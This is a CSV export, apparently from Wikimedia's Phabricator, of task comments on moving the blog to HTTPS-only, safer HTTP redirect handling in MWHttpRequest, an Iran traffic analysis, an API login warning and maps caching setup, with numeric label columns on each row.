+624259,Switch blog to HTTPS-only,"Update: Followed up again on March 4 and got yet another response from yet another person: It's actually possibly to use WP-CLI for replacements, but scripts can't process all posts at once (apparently because of timeouts, cf. https://vip.wordpress.com/documentation/writing-bin-scripts/ ) and instead should loop through posts in blocks of 100. I have resent the WP-CLI commands I tested earlier, for a first dry-run, and also asked for advice on the best way to do this looping to match their requirements.",,,1457327106,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,35,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0
+620348,Switch blog to HTTPS-only,Assigning to Tilman for the time being since he's currently running the discussion with Automattic,,,1456819853,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+618425,Switch blog to HTTPS-only,"(Update: Heard back on Feb 10 that they needed to check with someone specific about this and would get back. On Feb 18 I sent a reminder and got the reply that they would ""ping on this again and see what's up"". I sent another reminder-thanks today.)",,,1456464909,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,34,True,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+605419,Switch blog to HTTPS-only,">>! In T105905#1979351, @Varnent wrote:
+> Is there a status update on this? Just curious as it came up on IRC. :)
+
+Yes, so I followed up with Automattic in November, and they eventually offered a solution that should work for our purposes (""It will update any mentions of the target string in the post_content field for published posts only""). It then took me a while to look into this and confirm that this indeed what we want - I just sent one last followup for clarification, but I hope that we are good to go after that.",,,1454918526,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,31,True,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1
+599306,Switch blog to HTTPS-only,Is there a status update on this? Just curious as it came up on IRC. :),,,1454012497,,PHID-USER-tbsqok4i4d2fpoef36s2,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,30,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+523986,Switch blog to HTTPS-only,"Update for those following along here: Heard back from Automattic last week and it turns out that contrary to the previous discussion, the search/replace feature of WP-CLI is actually disabled on VIP because it can cause database issues. They are looking into alternative options.",,,1441853091,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+512758,Switch blog to HTTPS-only,"Hi Faidon, you should actually still be on CC for the internal ticket via Zendesk. But just to be sure, I will make sure to CC explicitly in my next response to Automattic, which I intend to send this weekend once I find a bit of time to work on the remaining items (see below).
+
+In the meantime, a quick summary of what has happened since the last public update here:
+
+  - It turned out that Automattic's caching layer and CDN actually **rewrites many src=""http..."" links to HTTPS anyway**, including all references to the blog's wordpress files subdomain itself. E.g. in [[https://blog.wikimedia.org/2011/06/08/public-policy-initiative-wraps-up-pilot-academic-year/ |this post]], this code in the source:
+
+```
+
+src=""http://wikimediablog.files.wordpress.com/2011/06/amount-of-content-added-by-students-06-06-2011.png""
+```
+becomes the following in the publicly displayed HTML:
+
+```
+src=""https://wikimediablog.files.wordpress.com/2011/06/amount-of-content-added-by-students-06-06-2011.png?w=635&#038;h=455""
+```
+Automattic confirmed that this is stable behavior that can be relied on.   
+- Nevertheless, it still seems prudent to **convert these HTTP thumbnails** and the upload.wikimedia.org ones to HTTPS once and for all, also in case the hosting configuration changes in the future. I wrote the required WP-CLI commands (they are quite simple) and tested them in my local Quickstart environment as recommended by Automattic (Quickstart is the Vagrant version of the VIP environment they provide for testing purposes). @Seb35: Thanks for the tip! But plugins need to satisfy Automattic's code review standards for VIP and many don't, and as mentioned it seems prudent to make the change permanent anyway.
+- I used [[https://github.com/bramus/mixed-content-scan | this tool]] to do an automated **scan for mixed content warnings**; it accessed over 6000 pages on the blog (that's more than the number of actual posts, it also includes comment pages and e.g. https://blog.wikimedia.org/2010/ ) and found only five posts with remaining warnings, which I will fix manually.
+- I got the hint to use that tool along with some other great advice from members of the WordPress in Enterprise Slack community, in particular Paul Schreiber,  coauthor of [[https://docs.google.com/document/d/1EJKAoa4Hxc4AyH0znuA_AAplcNeNejEhATFptFX-OME/edit?pli=1|this HTTPS guide]], which contains some caveats on how e.g. Facebook Likes and comments are treating the HTTP and HTTPS versions of a web page as two separate pages (meaning that the switch could have some impact retroactively on Like numbers). It seems Facebook uses the canonical URL or the ""or:url"" parameter to sort that out, but that Twitter is a bit more brittle, using the separate ""counturl"" query parameter or the ""data-counturl"" attribute - AIUI if that contains the HTTPS version, HTTP links aren't counted etc. In any case, I think we've already been quite consistently sharing the HTTPS versions of blog posts on social media for a while now, so these risks should be pretty low here. However, they also advised that the **canonical URLs are forced to HTTP** on purpose on WordPress VIP ([[https://github.com/Automattic/vip-mu-plugins-public/blob/master/vip-helpers/vip-permastructs.php | here ]] is the code that does that, https://core.trac.wordpress.org/ticket/30581 and https://core.trac.wordpress.org/ticket/28521 are related open bugs for WordPress in general). I'm not quite sure yet what to make of all that and what's the ideal configuration we'd want Automattic to set for us. Input welcome.",,,1440230828,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1
+512756,Switch blog to HTTPS-only,"Hi Faidon, you should actually still be on CCed for the internal ticket via Zendesk. But just to be sure, I will make sure to CC explicitly in my next response to Automattic, which I intend to send this weekend once I find a bit of time to work on the remaining items (see below).
+
+In the meantime, a quick summary of what has happened since the last public update here:
+
+  - It turned out that Automattic's caching layer and CDN actually **rewrites many src=""http..."" links to HTTPS anyway**, including all references to the blog's wordpress files subdomain itself. E.g. in [[https://blog.wikimedia.org/2011/06/08/public-policy-initiative-wraps-up-pilot-academic-year/ |this post]], this code in the source:
+
+```
+
+src=""http://wikimediablog.files.wordpress.com/2011/06/amount-of-content-added-by-students-06-06-2011.png""
+```
+becomes the following in the publicly displayed HTML:
+
+```
+src=""https://wikimediablog.files.wordpress.com/2011/06/amount-of-content-added-by-students-06-06-2011.png?w=635&#038;h=455""
+```
+Automattic confirmed that this is stable behavior that can be relied on.   
+- Nevertheless, it still seems prudent to **convert these HTTP thumbnails** and the upload.wikimedia.org ones to HTTPS once and for all, also in case the hosting configuration changes in the future. I wrote the required WP-CLI commands (they are quite simple) and tested them in my local Quickstart environment as recommended by Automattic (Quickstart is the Vagrant version of the VIP environment they provide for testing purposes). @Seb35: Thanks for the tip! But plugins need to satisfy Automattic's code review standards for VIP and many don't, and as mentioned it seems prudent to make the change permanent anyway.
+- I used [[https://github.com/bramus/mixed-content-scan | this tool]] to do an automated **scan for mixed content warnings**; it accessed over 6000 pages on the blog (that's more than the number of actual posts, it also includes comment pages and e.g. https://blog.wikimedia.org/2010/ ) and found only five posts with remaining warnings, which I will fix manually.
+- I got the hint to use that tool along with some great advice from members of the WordPress in Enterprise Slack community, in particular Paul Schreiber,  coauthor of [[https://docs.google.com/document/d/1EJKAoa4Hxc4AyH0znuA_AAplcNeNejEhATFptFX-OME/edit?pli=1|this HTTPS guide]], which contains some caveats on how e.g. Facebook Likes and comments are treating the HTTP and HTTPS versions of a web page as two separate pages (meaning that the switch could have some impact retroactively on Like numbers). It seems Facebook uses the canonical URL or the ""or:url"" parameter to sort that out, but that Twitter is a bit more brittle, using the separate ""counturl"" query parameter or the ""data-counturl"" attribute - AIUI if that contains the HTTPS version, HTTP links aren't counted etc. In any case, I think we've already been quite consistently sharing the HTTPS versions of blog posts on social media for a while now, so these risks should be pretty low here. However, they also advised that the **canonical URLs are forced to HTTP** on purpose on WordPress VIP ([[https://github.com/Automattic/vip-mu-plugins-public/blob/master/vip-helpers/vip-permastructs.php | here ]] is the code that does that, https://core.trac.wordpress.org/ticket/30581 and https://core.trac.wordpress.org/ticket/28521 are related open bugs for WordPress in general). I'm not quite sure yet what to make of all that and what's the ideal configuration we'd want Automattic to set for us. Input welcome.",,,1440230760,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1
+512331,Switch blog to HTTPS-only,Any news from the internal ticket?,,,1440166097,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,7,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+509203,Switch blog to HTTPS-only,"For linked resources like images in posts, it can be used a plugin search-replace. I used ""Better Search Replace"" to move a WordPress blog, but probably other plugins can do the job also.",,,1439761045,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+497541,Switch blog to HTTPS-only,"Update: I filed a request about this with Automattic last week (internal ticket number: #43195), and they think the process outlined by Faidon should work fine. Regarding the first step ( this mainly concerns older posts where http://upload.Wikimedia.org thumbnails would need to be converted to https://upload.wikimedia.org), they recommend to either filter the content to rewrite HTTP thumbnail links before a page is rendered, or to write a WP-CLI script that searches and replaces them with HTTPS links. I will look into the latter.",,,1438015406,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+492044,Switch blog to HTTPS-only,"Also see {T104727}, {T104726}",,,1437001157,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+105765,MWHttpRequest's redirect behavior is terrible,"Per T102566#1449713 and beyond, and T103043#1381527 and the reply...our current behavior of `$followRedirects` in MWHttpRequest and children is problematic and renders it basically useless. It's an all-or-none proposition, with no sorts of verifications along the way to make sure we're doing safe things.
+
+We should do the following:
+# Always allow redirects from HTTP -> HTTPS versions of the same URL (or domain?)
+# Never allow redirects from HTTPS -> HTTP unless the URL (or domain?) matches.
+# Remove the flag for enabling/disabling redirection after (1) and (2) are done.
+
+Allowing us to always redirect in safe cases and never redirect in unsafe cases allows this to behave in a way that will actually make it useful and help things like HTTP -> HTTPS transitions much easier on our users.",Medium,50.0,1436836786,,PHID-USER-oetk6bbl6omm354ejz3b,False,,False,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_description,open,True,c3,3,True,False,,1,True,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,1
+491595,MWHttpRequest's redirect behavior is terrible,">>! In T103043#1381527, @hashar wrote:
+>> MWHttpRequest refuses to follow a HTTP->HTTPS redirect
+> 
+> Our Http class has `followRedirects` defaulting to false with the comment:
+> 
+>> Note: this should only be used when the target URL is trusted, to avoid attacks on intranet services accessible by HTTP.
+> 
+> And indeed we don't set followRedirects when setting up the wikimediacommons wgForeignFileRepos.
+> 
+> @demon follow up by filling {T105765}
+",,,1436950151,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+491437,MWHttpRequest's redirect behavior is terrible,"I like giving control with sane defaults, so I'd opt for making followRedirects a flag that indicates the behavior.
+* false - don't follow
+* 'ssl' (make this the default) - only allow http->https
+* 'samedomain' - allow redirects anywhere in the same fqdn
+* true - follow all redirects",,,1436903418,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+491287,MWHttpRequest's redirect behavior is terrible,">>! In T105765#1451244, @Tgr wrote:
+> Sometimes redirects are intentional, e.g. Special:Random. I don't think there is anything to gain by getting rid of them completely.
+
+That has nothing to do with how MW fetches HTTP content though (which is what we're talking about here), that's just a redirect header after we load the initial page and find out it's a redirect.",,,1436878851,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,0,1,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,1
+491208,MWHttpRequest's redirect behavior is terrible,"Sometimes redirects are intentional, e.g. Special:Random. I don't think there is anything to gain by getting rid of them completely.",,,1436847201,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,0,1,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+491189,MWHttpRequest's redirect behavior is terrible,">>! In T105765#1451163, @BBlack wrote:
+> I really don't know what all the fallout implications are for (3).  Are there cases where we do want to follow general redirects?
+> 
+
+Wherps, sorry if I was unclear. I was mainly writing this from the approach that redirects are bad unless we decide they're ok. If we removed the flag, we'd make the decision consciously that redirects are inherently bad unless they match one of the domain/URL/protocol match cases.
+
+If we don't remove it, I assume it would be repurposed into a ""take off the safety and blow your feet off"" switch.
+
+> Re: domain-vs-hostname-vs-URL for the redirect-safety distinction: for the most-common HTTPS case, allowing a switch of protocol only (everything matches except for HTTP->HTTPS) would be sufficient.  You could argue for same-domain too, but that gets tricky with defining authority boundaries for security: should the boundary be at the first, second, third, or beyond level of domainname (e.g. tesco.co.uk vs wikimedia.org)?
+> 
+
+Yeah, I think this part is debatable. The only reason I asked was because it came up in an IRC convo between myself and @csteipp about it. His input here would be good :)
+
+> I'd say for the (1)+(2) part: always allow a switch from HTTP to HTTPS iff the rest of the URL is identical (clear protocol-upgrade redirect case), regardless of whether the flag can be killed in (3) or what it's set to if it isn't.  And don't bother implementing a downgrade option for HTTPS->HTTP.
+
+Yeah, so I think it'll be (1) + do we decide about repurposing the flag per earlier in this reply.",,,1436838082,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1
+491187,MWHttpRequest's redirect behavior is terrible,"I really don't know what all the fallout implications are for (3).  Are there cases where we do want to follow general redirects?
+
+Re: domain-vs-hostname-vs-URL for the redirect-safety distinction: for the most-common HTTPS case, allowing a switch of protocol only (everything matches except for HTTP->HTTPS) would be sufficient.  You could argue for same-domain too, but that gets tricky with defining authority boundaries for security: should the boundary be at the first, second, third, or beyond level of domainname (e.g. tesco.co.uk vs wikimedia.org)?
+
+I'd say for the (1)+(2) part: always allow a switch from HTTP to HTTPS iff the rest of the URL is identical (clear protocol-upgrade redirect case), regardless of whether the flag can be killed in (3) or what it's set to if it isn't.  And don't bother implementing a downgrade option for HTTPS->HTTP.",,,1436837494,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+491186,MWHttpRequest's redirect behavior is terrible,"I really don't know what all the fallout implications are for (3).  Are there cases where we do want to follow general redirects?
+
+Re: domain-vs-hostname-vs-URL for the redirect-safety distinction: for the most-common HTTPS case, allowing a switch of protocol only (everything matches except for HTTP->HTTPS) would be sufficient.  You could argue for same-domain too, but that gets tricky with defining authority boundaries for security: should the boundary be at the first, second, third, or beyond level of domainname (e.g. tesco.co.uk vs wikimedia.org)?
+
+I'd say for the (1)+(2) part: always allow a switch from HTTP to HTTPS iff the rest of the URL is identical (clear protocol-upgrade redirect case), regardless of whether the flag can be killed in (3) or what it's set to if it isn't.",,,1436837440,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-qcoorn3zdoytjsrwrbgh,task_subcomment,,True,c3,3,True,,,1,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+105512,Analyse requests from Iran prior to and after the HTTPS switchover,"Wes has asked me to work on some basic data analysis around the information coming out of our web request logs around Iran. Specifically, we want to understand why there was a dramatic drop in pageviews after the HTTPS switchover, and whether this is replicated in search events.
+
+https://github.com/wikimedia-research/ayatollahsong",Medium,50.0,1436544613,1438361370.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-xonvqupyudkr4235gfgl,task_description,resolved,True,c3,3,False,False,True,1,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+105370,API call failed to login with token,"Spotted in production:
+```
+      1 Warning: API call failed to login with token: status=There was a problem during the HTTP request: 503 Service Unavailable, query={""action"":""login"",""lgname"":""zerowiki"",""lgpassword"":""***"",""lgtoken"":
+""e0cd4e78e51dbac91bf9dc19b8d07315""} [Called from JsonConfig\JCUtils::warn in /srv/mediawiki/php-1.26wmf12/extensions/JsonConfig/includes/JCUtils.php at line 50] in /srv/mediawiki/php-1.26wmf12/includes/de
+bug/MWDebug.php on line 300
+```",Medium,50.0,1436463123,1484683974.0,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-ufdvscz22sbqqqceeb43,task_description,invalid,True,c3,3,True,True,False,1,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+491536,API call failed to login with token,Should the API even log a warning here then?,,,1436928308,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ufdvscz22sbqqqceeb43,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+490037,API call failed to login with token,"Does not appear to be an API issue, just something using the API and running into non-MediaWiki-generated server errors.",,,1436536377,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-ufdvscz22sbqqqceeb43,task_subcomment,,True,c3,3,True,,,1,True,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+105076,Set up standard HTTPS Termination -> 2layer caching for maps service,"Basically, we need:
+[x] maps cache cluster in eqiad
+  - standard 2layer setup like ""upload"", with fresh/minimal VCL
+  - can reuse the recently decommed cp104[34] machines for now
+  - backend is kartotherian.svc.codfw.wmnet:4000 (LVS service)
+[x] maps.wikimedia.org LVS/DNS setup into new IP for maps cache cluster
+",Medium,50.0,1436301293,1439601070.0,PHID-USER-esrrkc2rlizdlae443wg,False,PHID-USER-esrrkc2rlizdlae443wg,False,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_description,resolved,True,c3,3,True,True,True,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+508959,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230535 abandoned by Ottomata:
+Make camus import webrequest_maps from new maps varnish cluster
+
+Reason:
+This was done by joseph in another commit.
+
+[[https://gerrit.wikimedia.org/r/230535]]",,,1439657954,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+508809,Set up standard HTTPS Termination -> 2layer caching for maps service,"per IRC with @bblack, closing this task as complete.
+> <bblack>  there are outstanding spinoff issues like purging, or like actually deploying a production-ready variant of this better
+So we will need more tasks to resolve them, but separate from this one.",,,1439601070,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,1,1,0,1
+508793,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 231726 merged by BBlack:
+maps.wm.o: turn back on, but only for beta self referer
+
+[[https://gerrit.wikimedia.org/r/231726]]",,,1439599095,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+508788,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 231726 had a related patch set uploaded (by BBlack):
+maps.wm.o: turn back on, but only for beta self referer
+
+[[https://gerrit.wikimedia.org/r/231726]]
